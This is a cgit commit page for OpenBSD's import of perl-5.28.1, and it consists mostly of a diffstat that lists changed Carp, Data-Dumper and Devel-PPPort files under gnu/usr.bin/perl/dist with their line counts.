summaryrefslogtreecommitdiff
path: root/gnu/usr.bin/perl/dist
diff options
context:
space:
mode:
authorAndrew Fresh <afresh1@cvs.openbsd.org>2019-02-13 21:11:45 +0000
committerAndrew Fresh <afresh1@cvs.openbsd.org>2019-02-13 21:11:45 +0000
commit0cc2c999dde616622e1c1a39da60828645040e47 (patch)
treed67af193288a2d010b2eae5d526d615c6adbcaf5 /gnu/usr.bin/perl/dist
parent2e70a883f7ff179f56cb433b7b3473e5ca1eefe4 (diff)
Import perl-5.28.1
looking good sthen@, Great! bluhm@
Diffstat (limited to 'gnu/usr.bin/perl/dist')
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/Carp_overloadless.t15
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/broken_can.t15
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/broken_univ_can.t24
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/stack_after_err.t69
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t12
-rwxr-xr-xgnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t37
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t22
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t8
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t16
-rwxr-xr-xgnu/usr.bin/perl/dist/Data-Dumper/t/pair.t2
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t17
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t33
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/HACKERS324
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/Makefile.PL154
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/PPPort.xs3
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_pm.PL681
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_xs.PL128
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/apicheck_c.PL22
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/buildperl.pl606
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/devtools.pl123
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/mkapidoc.sh81
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo58
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo.pl374
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/regenerate160
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/scanprov78
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/mktests.PL110
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/module2.c54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/module3.c71
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/apicheck.pl326
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/apidoc.fnc485
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500307042
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500400052
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50040101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50040201
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50040301
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50040401
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500405042
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500500038
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50050101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50050201
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50050304
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50050401
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006000293
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500600117
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50060021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50070001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500700128
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500700272
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500700383
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080008
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500800131
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080033
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080071
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080081
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50090006
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50090018
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500900232
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500900366
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500900442
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500900537
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501000010
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501000122
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501100015
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50110016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501100213
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50110031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50110042
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50110052
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501300210
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130033
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130056
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501300632
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501300736
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130088
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130104
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501500111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501500432
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150062
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150078
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150083
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50160001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50160011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50160021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50160031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170027
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170062
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170077
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170088
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170093
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190022
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190033
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190044
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190072
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190081
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190102
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50200001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50200011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50200021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50200031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/502100113
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210023
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210054
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210063
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/502100711
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210082
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210102
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210114
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50220002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50220011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230071
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/502300822
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/502400068
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/embed.fnc2956
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/HvNAME38
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/MY_CXT185
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvPV534
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvREFCNT123
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/Sv_set118
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/call364
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/cop231
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/exception68
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/format63
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/grok670
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/gv141
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/limits326
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mPUSH131
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/magic613
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/memory85
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mess518
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/misc786
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newCONSTSUB104
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newRV67
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSV_type79
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSVpv109
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/podtest45
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphbin822
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphdoc346
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphtest909
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pv_tools276
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pvs154
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/shared_pv90
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/snprintf63
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sprintf55
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/strlfuncs107
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sv_xpvf313
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/threads68
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/uv122
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/variables491
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/version51
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/warn168
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppport.fnc23
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppptools.pl404
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500307021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500400051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040201
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040301
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040401
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040507
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500500028
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50050101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50050201
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50050304
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50050401
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006000150
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500600111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50060021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50070001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500700123
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500700217
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500700360
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080006
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500800118
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080033
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080071
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080081
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50090006
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50090016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50090027
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500900323
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50090049
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500900527
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50100007
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501000112
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501100014
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50110016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501100213
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50110031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50110042
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50110052
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130012
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130029
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130032
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130055
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501300632
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501300735
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130086
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130104
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501500111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501500430
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150062
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150078
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150083
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50160001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50160011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50160021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50160031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170027
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170062
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170077
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170088
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170093
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190022
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190032
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190044
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190072
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190081
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190102
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50200001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50200011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50200021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50200031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/502100112
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210023
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210054
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210063
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210079
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210082
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210102
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50220002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50220011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230071
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/502300822
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230095
